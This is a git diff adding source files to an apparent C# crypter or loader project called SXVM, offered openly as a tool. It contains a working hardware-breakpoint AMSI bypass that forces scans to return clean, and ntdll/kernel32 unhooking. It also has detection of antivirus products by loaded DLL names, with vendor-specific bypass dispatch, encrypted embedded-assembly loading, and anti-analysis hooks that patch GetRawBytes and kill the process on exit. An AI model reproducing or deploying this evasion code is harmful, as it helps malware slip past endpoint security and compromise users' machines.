DllCharacteristicsType : ushort + { + RES_0 = 0x0001, + RES_1 = 0x0002, + RES_2 = 0x0004, + RES_3 = 0x0008, + IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040, + IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY = 0x0080, + IMAGE_DLL_CHARACTERISTICS_NX_COMPAT = 0x0100, + IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0x0200, + IMAGE_DLLCHARACTERISTICS_NO_SEH = 0x0400, + IMAGE_DLLCHARACTERISTICS_NO_BIND = 0x0800, + RES_4 = 0x1000, + IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 0x2000, + IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 0x8000 + } + + enum BasedRelocationType + { + IMAGE_REL_BASED_ABSOLUTE = 0, + IMAGE_REL_BASED_HIGH = 1, + IMAGE_REL_BASED_LOW = 2, + IMAGE_REL_BASED_HIGHLOW = 3, + IMAGE_REL_BASED_HIGHADJ = 4, + IMAGE_REL_BASED_MIPS_JMPADDR = 5, + IMAGE_REL_BASED_MIPS_JMPADDR16 = 9, + IMAGE_REL_BASED_IA64_IMM64 = 9, + IMAGE_REL_BASED_DIR64 = 10 + } + + enum AllocationType : uint + { + COMMIT = 0x1000, + RESERVE = 0x2000, + RESET = 0x80000, + LARGE_PAGES = 0x20000000, + PHYSICAL = 0x400000, + TOP_DOWN = 0x100000, + WRITE_WATCH = 0x200000, + DECOMMIT = 0x4000, + RELEASE = 0x8000 + } + + enum MemoryProtection : uint + { + EXECUTE = 0x10, + EXECUTE_READ = 0x20, + EXECUTE_READWRITE = 0x40, + EXECUTE_WRITECOPY = 0x80, + NOACCESS = 0x01, + READONLY = 0x02, + READWRITE = 0x04, + WRITECOPY = 0x08, + GUARD_Modifierflag = 0x100, + NOCACHE_Modifierflag = 0x200, + WRITECOMBINE_Modifierflag = 0x400 + } + + enum PageProtection + { + NOACCESS = 0x01, + READONLY = 0x02, + READWRITE = 0x04, + WRITECOPY = 0x08, + EXECUTE = 0x10, + EXECUTE_READ = 0x20, + EXECUTE_READWRITE = 0x40, + EXECUTE_WRITECOPY = 0x80, + GUARD = 0x100, + NOCACHE = 0x200, + WRITECOMBINE = 0x400, + } + + enum ImageSectionFlags : uint + { + IMAGE_SCN_LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. + IMAGE_SCN_MEM_DISCARDABLE = 0x02000000, // Section can be discarded. + IMAGE_SCN_MEM_NOT_CACHED = 0x04000000, // Section is not cachable. + IMAGE_SCN_MEM_NOT_PAGED = 0x08000000, // Section is not pageable. + IMAGE_SCN_MEM_SHARED = 0x10000000, // Section is shareable. + IMAGE_SCN_MEM_EXECUTE = 0x20000000, // Section is executable. + IMAGE_SCN_MEM_READ = 0x40000000, // Section is readable. + IMAGE_SCN_MEM_WRITE = 0x80000000 // Section is writeable. + } + + enum DllReason : uint + { + DLL_PROCESS_ATTACH = 1, + DLL_THREAD_ATTACH = 2, + DLL_THREAD_DETACH = 3, + DLL_PROCESS_DETACH = 0 + } + + class Win + { + public const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; + public const uint IMAGE_NT_SIGNATURE = 0x00004550; + public const uint IMAGE_FILE_MACHINE_I386 = 0x014c; + public const uint IMAGE_FILE_MACHINE_AMD64 = 0x8664; + public const uint PAGE_NOCACHE = 0x200; + public const uint IMAGE_SCN_CNT_INITIALIZED_DATA = 0x00000040; + public const uint IMAGE_SCN_CNT_UNINITIALIZED_DATA = 0x00000080; + public const uint IMAGE_SCN_MEM_DISCARDABLE = 0x02000000; + public const uint IMAGE_SCN_MEM_NOT_CACHED = 0x04000000; + public const uint IMAGE_FILE_DLL = 0x2000; + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); + + [DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = CallingConvention.Cdecl, SetLastError = false)] + public static extern IntPtr MemSet(IntPtr dest, int c, UIntPtr count); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + public static extern IntPtr LoadLibrary(IntPtr lpFileName); + + [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, IntPtr procName); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool VirtualFree(IntPtr lpAddress, IntPtr dwSize, AllocationType dwFreeType); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool VirtualProtect(IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool FreeLibrary(IntPtr hModule); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern void GetNativeSystemInfo(out SYSTEM_INFO lpSystemInfo); + + public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort ntheader_FileHeader_SizeOfOptionalHeader) + { + return PtrAdd(pNTHeader, Of.IMAGE_NT_HEADERS_OptionalHeader + (int)ntheader_FileHeader_SizeOfOptionalHeader); + } + + public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_FileHeader_SizeOfOptionalHeader) + { + return lfanew + Of.IMAGE_NT_HEADERS_OptionalHeader + ntheader_FileHeader_SizeOfOptionalHeader; + } + + public static IntPtr IMAGE_ORDINAL(IntPtr ordinal) + { + return (IntPtr)(int)(unchecked((ulong)ordinal.ToInt64()) & 0xffff); + } + + public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal) + { + return (IntPtr.Size == 8 ? (ordinal.ToInt64() < 0) : (ordinal.ToInt32() < 0)); + } + } + + static T PtrRead(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr, typeof(T)); } + static void PtrWrite(IntPtr ptr, T val) { Marshal.StructureToPtr(val, ptr, false); } + static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + v); } + static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v)) : (IntPtr)(p.ToInt32() + unchecked((int)v))); } + static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + v.ToInt64()) : (IntPtr)(p.ToInt32() + v.ToInt32())); } + static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() + unchecked((long)v.ToUInt64())) : (IntPtr)(p.ToInt32() + unchecked((int)v.ToUInt32()))); } + static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)(p.ToInt64() - v.ToInt64()) : (IntPtr)(p.ToInt32() - v.ToInt32())); } + static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) | v.ToUInt64())) : (IntPtr)unchecked((int)(unchecked((uint)p.ToInt32()) | v.ToUInt32()))); } + static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)unchecked((long)(unchecked((ulong)p.ToInt64()) & ~(align.ToUInt64() - 1))); } + static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero || h == (IntPtr.Size == 8 ? (IntPtr)(long)-1 : (IntPtr)(int)-1)); } + static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { return ((unchecked((ulong)p.ToInt64()) >> BoundaryBits) < ((unchecked((ulong)(p.ToInt64())) + Size) >> BoundaryBits)); } + + static T BytesReadStructAt(byte[] buf, int offset) + { + int size = Marshal.SizeOf(typeof(T)); + IntPtr ptr = Marshal.AllocHGlobal(size); + Marshal.Copy(buf, offset, ptr, size); + T res = (T)Marshal.PtrToStructure(ptr, typeof(T)); + Marshal.FreeHGlobal(ptr); + return res; + } + } +} diff --git a/SXVM/FodyWeavers.xml b/SXVM/FodyWeavers.xml new file mode 100644 index 0000000..f1dea8f --- /dev/null +++ b/SXVM/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/SXVM/FodyWeavers.xsd b/SXVM/FodyWeavers.xsd new file mode 100644 index 0000000..ff119f7 --- /dev/null +++ b/SXVM/FodyWeavers.xsd @@ -0,0 +1,141 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/SXVM/HardwareBreakpointAmsiPatch.cs b/SXVM/HardwareBreakpointAmsiPatch.cs new file mode 100644 index 0000000..44f0841 --- /dev/null +++ b/SXVM/HardwareBreakpointAmsiPatch.cs @@ -0,0 +1,265 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM +{ + internal static class HardwareBreakpointAmsiPatch + { + private static IntPtr pABuF = IntPtr.Zero; + private static IntPtr pCtx = IntPtr.Zero; + + private class HardwareBreakpointAmsiPatchHandlerMethod : Attribute + { + } + + internal static void Bypass() + { + pABuF = GetProcAddress(LoadLibrary(@"amsi.dll"), @"AmsiScanBuffer"); + pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(CONTEXT64))); + CONTEXT64 ctx = new CONTEXT64(); + ctx.ContextFlags = CONTEXT64_FLAGS.CONTEXT64_ALL; + MethodInfo method = null; + bool method_found = false; + foreach (MethodInfo mi in typeof(HardwareBreakpointAmsiPatch).GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance)) + { + foreach (CustomAttributeData customAttribute in mi.CustomAttributes) + { + if (customAttribute.AttributeType == typeof(HardwareBreakpointAmsiPatchHandlerMethod)) + { + method = mi; + method_found = true; + break; + } + else + { + } + } + if (method_found == true) + { + break; + } + else + { + } + } + IntPtr hExHandler = AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer()); + Marshal.StructureToPtr(ctx, pCtx, true); + bool b = GetThreadContext((IntPtr)(-2), pCtx); + ctx = (CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(CONTEXT64)); + EnableBreakpoint(ctx, pABuF, 0); + SetThreadContext((IntPtr)(-2), pCtx); + } + + [HardwareBreakpointAmsiPatchHandlerMethod] + private static long Handler(IntPtr exceptions) + { + EXCEPTION_POINTERS ep = new EXCEPTION_POINTERS(); + ep = (EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(EXCEPTION_POINTERS)); + EXCEPTION_RECORD ExceptionRecord = new EXCEPTION_RECORD(); + ExceptionRecord = (EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(EXCEPTION_RECORD)); + CONTEXT64 ContextRecord = new CONTEXT64(); + ContextRecord = (CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(CONTEXT64)); + if (ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF) + { + ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp); + IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); + Marshal.WriteInt32(ScanResult, 0, AMSI_RESULT_CLEAN); + ContextRecord.Rip = ReturnAddress; + ContextRecord.Rsp += 8; + ContextRecord.Rax = 0; + Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); + return EXCEPTION_CONTINUE_EXECUTION; + } + else + { + return EXCEPTION_CONTINUE_SEARCH; + } + } + + private static void EnableBreakpoint(CONTEXT64 ctx, IntPtr address, int index) + { + switch (index) + { + case 0: + ctx.Dr0 = (ulong)address.ToInt64(); + break; + case 1: + ctx.Dr1 = (ulong)address.ToInt64(); + break; + case 2: + ctx.Dr2 = (ulong)address.ToInt64(); + break; + case 3: + ctx.Dr3 = (ulong)address.ToInt64(); + break; + } + ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0); + ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1); + ctx.Dr6 = 0; + Marshal.StructureToPtr(ctx, pCtx, true); + } + + private static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue) + { + ulong mask = (1UL << bits) - 1UL; + dw = (dw & ~(mask << lowBit)) | (newValue << lowBit); + return dw; + } + + private const Int32 EXCEPTION_CONTINUE_EXECUTION = -1; + private const Int32 EXCEPTION_CONTINUE_SEARCH = 0; + + private const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004; + + private const Int32 AMSI_RESULT_CLEAN = 0; + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); + + [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)] + private static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName); + + [DllImport("Kernel32.dll")] + private static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler); + + [Flags] + private enum CONTEXT64_FLAGS : uint + { + CONTEXT64_AMD64 = 0x100000, + CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01, + CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02, + CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04, + CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08, + CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10, + CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT, + CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS + } + + [StructLayout(LayoutKind.Sequential)] + private struct M128A + { + public ulong High; + public long Low; + + public override string ToString() + { + return string.Format("High:{0}, Low:{1}", this.High, this.Low); + } + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + private struct XSAVE_FORMAT64 + { + public ushort ControlWord; + public ushort StatusWord; + public byte TagWord; + public byte Reserved1; + public ushort ErrorOpcode; + public uint ErrorOffset; + public ushort ErrorSelector; + public ushort Reserved2; + public uint DataOffset; + public ushort DataSelector; + public ushort Reserved3; + public uint MxCsr; + public uint MxCsr_Mask; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public M128A[] FloatRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] + public M128A[] XmmRegisters; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)] + public byte[] Reserved4; + } + + [StructLayout(LayoutKind.Sequential, Pack = 16)] + private struct CONTEXT64 + { + public ulong P1Home; + public ulong P2Home; + public ulong P3Home; + public ulong P4Home; + public ulong P5Home; + public ulong P6Home; + + public CONTEXT64_FLAGS ContextFlags; + public uint MxCsr; + + public ushort SegCs; + public ushort SegDs; + public ushort SegEs; + public ushort SegFs; + public ushort SegGs; + public ushort SegSs; + public uint EFlags; + + public ulong Dr0; + public ulong Dr1; + public ulong Dr2; + public ulong Dr3; + public ulong Dr6; + public ulong Dr7; + + public ulong Rax; + public ulong Rcx; + public ulong Rdx; + public ulong Rbx; + public ulong Rsp; + public ulong Rbp; + public ulong Rsi; + public ulong Rdi; + public ulong R8; + public ulong R9; + public ulong R10; + public ulong R11; + public ulong R12; + public ulong R13; + public ulong R14; + public ulong R15; + public ulong Rip; + + public XSAVE_FORMAT64 DUMMYUNIONNAME; + + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)] + public M128A[] VectorRegister; + public ulong VectorControl; + + public ulong DebugControl; + public ulong LastBranchToRip; + public ulong LastBranchFromRip; + public ulong LastExceptionToRip; + public ulong LastExceptionFromRip; + } + + [StructLayout(LayoutKind.Sequential)] + private struct EXCEPTION_RECORD + { + public uint ExceptionCode; + public uint ExceptionFlags; + public IntPtr ExceptionRecord; + public IntPtr ExceptionAddress; + public uint NumberParameters; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation; + } + + [StructLayout(LayoutKind.Sequential)] + private struct EXCEPTION_POINTERS + { + public IntPtr pExceptionRecord; + public IntPtr pContextRecord; + } + } +} diff --git a/SXVM/HarmonyPatcher.cs b/SXVM/HarmonyPatcher.cs new file mode 100644 index 0000000..a0d0bd1 --- /dev/null +++ b/SXVM/HarmonyPatcher.cs @@ -0,0 +1,116 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM +{ + internal static class HarmonyPatcher + { + private static string _0HarmonyDecryptionKey = @"XTRxaVOMjfXTRxaVOMjfIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzHIdEnBLTPVpUxVGBXxhvlxrwdxlTqkattOXmfDqzH"; + + private static void ClearHarmonyDecryptionKeyFromMemory() + { + _0HarmonyDecryptionKey = @""; + _0HarmonyDecryptionKey = null; + GC.Collect(); + } + + internal struct TypeInfo + { + internal Type InternalMethodType { get; set; } + + internal string InternalMethodName { get; set; } + + internal Type[] InternalTypeParameters { get; set; } + + internal TypeInfo(Type MethodType, string MethodName, Type[] TypeParameters) + { + InternalMethodType = MethodType; + InternalMethodName = MethodName; + InternalTypeParameters = TypeParameters; + } + } + + private static Assembly _0Harmony = null; + + private static string PatchID = @""; + + private static Random random = new Random(); + + private static string RandomString(int length) + { + const string chars = @"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); + } + + internal static void Initialize() + { + if (_0Harmony == null) + { + _0Harmony = Assembly.Load(API.Decompress(API.AESDecrypt(API.ExtractResource(@"SXVM.0Harmony.bin"), _0HarmonyDecryptionKey))); + } + if (PatchID == @"") + { + PatchID = RandomString(10); + } + if (_0HarmonyDecryptionKey != null) + { + ClearHarmonyDecryptionKeyFromMemory(); + } + } + + internal static void Patch(TypeInfo originalMethod, Type prefixMethod = null, Type postfixMethod = null) + { + if (originalMethod.InternalMethodType != null & originalMethod.InternalMethodName != null & originalMethod.InternalTypeParameters != null) + { + if (prefixMethod == null & postfixMethod == null) + { + return; + } + else + { + Initialize(); + Type harmonyType = _0Harmony.GetType(@"HarmonyLib.Harmony"); + object harmonyInstance = Activator.CreateInstance(harmonyType, PatchID); + MethodInfo patchMethod = harmonyType.GetMethod(@"Patch"); + Type accessToolsType = _0Harmony.GetType(@"HarmonyLib.AccessTools"); + MethodInfo methodMethod = accessToolsType.GetMethod(@"Method", new Type[] { typeof(Type), typeof(string), typeof(Type[]), typeof(Type[]) }); + MethodInfo internalOriginalMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { originalMethod.InternalMethodType, originalMethod.InternalMethodName, originalMethod.InternalTypeParameters, null }); + MethodInfo internalPrefixMethod = null; + MethodInfo internalPostfixMethod = null; + if (prefixMethod != null) + { + internalPrefixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { prefixMethod, @"Prefix", null, null }); + } + if (postfixMethod != null) + { + internalPostfixMethod = (MethodInfo)methodMethod.Invoke(null, new object[] { postfixMethod, @"Postfix", null, null }); + } + Type harmonyMethodType = _0Harmony.GetType(@"HarmonyLib.HarmonyMethod"); + if (prefixMethod != null & postfixMethod != null) + { + object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod); + object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod); + patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, harmonyMethodInstance2, null, null }); + } + else + { + if (prefixMethod != null) + { + object harmonyMethodInstance = Activator.CreateInstance(harmonyMethodType, internalPrefixMethod); + patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, harmonyMethodInstance, null, null, null }); + } + else + { + object harmonyMethodInstance2 = Activator.CreateInstance(harmonyMethodType, internalPostfixMethod); + patchMethod.Invoke(harmonyInstance, new object[] { internalOriginalMethod, null, harmonyMethodInstance2, null, null }); + } + } + } + } + } + } +} diff --git a/SXVM/Hooks/EnvironmentExit.cs b/SXVM/Hooks/EnvironmentExit.cs new file mode 100644 index 0000000..77cd715 --- /dev/null +++ b/SXVM/Hooks/EnvironmentExit.cs @@ -0,0 +1,32 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using System.Reflection; +using System.Text; +using System.Threading.Tasks; + +namespace SXVM.Hooks +{ + internal static class EnvironmentExit + { + internal static void Hook(string[] args) + { + HarmonyPatcher.Patch(new HarmonyPatcher.TypeInfo(typeof(Environment), @"Exit", new Type[] { typeof(int) }), typeof(HookedEnvironment.Exit), null); + } + + private static class HookedEnvironment + { + internal static class Exit + { + internal static bool Prefix(ref int exitCode) + { + Process.GetCurrentProcess().Kill(); + return true; + } + } + } + } +} diff --git a/SXVM/Hooks/GetRawBytes.cs b/SXVM/Hooks/GetRawBytes.cs new file mode 100644 index 0000000..1c1420d --- /dev/null +++ b/SXVM/Hooks/GetRawBytes.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using static SXVM.API; + +namespace SXVM.Hooks +{ + internal static class GetRawBytes + { + internal static unsafe void Hook(string[] args) + { + byte[] patch = { 0xC3 }; + IntPtr GetRawBytesAddress = GetManagedFunctionPointer(Assembly.GetExecutingAssembly().GetType().GetMethod(@"GetRawBytes", BindingFlags.Instance | BindingFlags.NonPublic).MethodHandle.Value.ToPointer()); + WriteMemoryBlock(GetRawBytesAddress, patch, (uint)patch.Length); + patch = null; + GC.Collect(); + } + } +} diff --git a/SXVM/Program.cs b/SXVM/Program.cs new file mode 100644 index 0000000..5e9ce1c --- /dev/null +++ b/SXVM/Program.cs @@ -0,0 +1,140 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO.Compression; +using System.IO; +using System.Linq; +using System.Reflection.Emit; +using System.Reflection; +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using static SXVM.API; +using static SXVM.Settings; +using SXVM.Bypasses; +using SXVM.Hooks; + +namespace SXVM +{ + //[INFO] - Compile as Debug - x64. + internal static class Program + { + private static ushort ExcludedHeader = 0x4F8F; + + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main(string[] args) + { + ushort oldHeader = 0; + WriteCustomHeader(ExcludedHeader, out oldHeader); + + Unhooker.Unhook(@"ntdll.dll"); + Unhooker.Unhook(@"kernel32.dll"); + + PrepareHandlers(args); + + string AntiVirus = @""; + + foreach (ProcessModule module in Process.GetCurrentProcess().Modules) + { + if (module.ModuleName == @"aswAMSI.dll" || module.ModuleName == @"aswhook.dll") + { + AntiVirus = @"Avast"; + break; + } + else if (module.ModuleName == @"atcuf64.dll" || module.ModuleName == @"bdhkm64.dll") + { + AntiVirus = @"BitDefender"; + break; + } + else if (module.ModuleName == @"fsamsi64.dll" || module.ModuleName == @"fshook64.dll" || module.ModuleName == @"fs_ccf_ipc_64.dll") + { + AntiVirus = @"F-Secure"; + break; + } + else if (module.ModuleName == @"hmpalert.dll" || module.ModuleName == @"SophosAmsiProvider.dll") + { + AntiVirus = @"Sophos"; + break; + } + else if (module.ModuleName == @"eamsi.dll") + { + AntiVirus = @"ESET"; + break; + } + else if (module.ModuleName == @"com_antivirus.dll") + { + AntiVirus = @"Kaspersky"; + break; + } + else if (module.ModuleName == @"symamsi.dll") + { + AntiVirus = @"Norton"; + break; + } + else if (module.ModuleName == @"mbae64.dll") + { + AntiVirus = @"Malwarebytes"; + break; + } + else + { + } + } + + switch (AntiVirus) + { + case @"Avast": + Avast.Bypass(args); + break; + case @"BitDefender": + BitDefender.Bypass(args); + break; + case @"F-Secure": + Default.Bypass(args); + break; + case @"Sophos": + Default.Bypass(args); + break; + case @"ESET": + ESET.Bypass(args); + break; + case @"Kaspersky": + Kaspersky.Bypass(args); + break; + case @"Norton": + Default.Bypass(args); + break; + case @"Malwarebytes": + Default.Bypass(args); + break; + default: + Default.Bypass(args); + break; + } + + throw new AccessViolationException(); + } + + private static void PrepareHandlers(string[] args) + { + RegisterHandler(@"BypassDisabled", (HandlerArgs) => + { + throw new AccessViolationException(); + return null; + }); + } + + internal static void AttachHooks(string[] args) + { + GetRawBytes.Hook(args); + + EnvironmentExit.Hook(args); + } + } +} diff --git a/SXVM/Properties/AssemblyInfo.cs b/SXVM/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..2c45e95 --- /dev/null +++ b/SXVM/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SXVM")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SXVM")] +[assembly: AssemblyCopyright("Copyright © 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("e1902815-b6df-4bc8-94a6-c61a382fe83d")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SXVM/Properties/Resources.Designer.cs b/SXVM/Properties/Resources.Designer.cs new file mode 100644 index 0000000..e279f43 --- /dev/null +++ b/SXVM/Properties/Resources.Designer.cs @@ -0,0 +1,71 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace SXVM.Properties +{ + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources + { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() + { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager + { + get + { + if ((resourceMan == null)) + { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("SXVM.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's 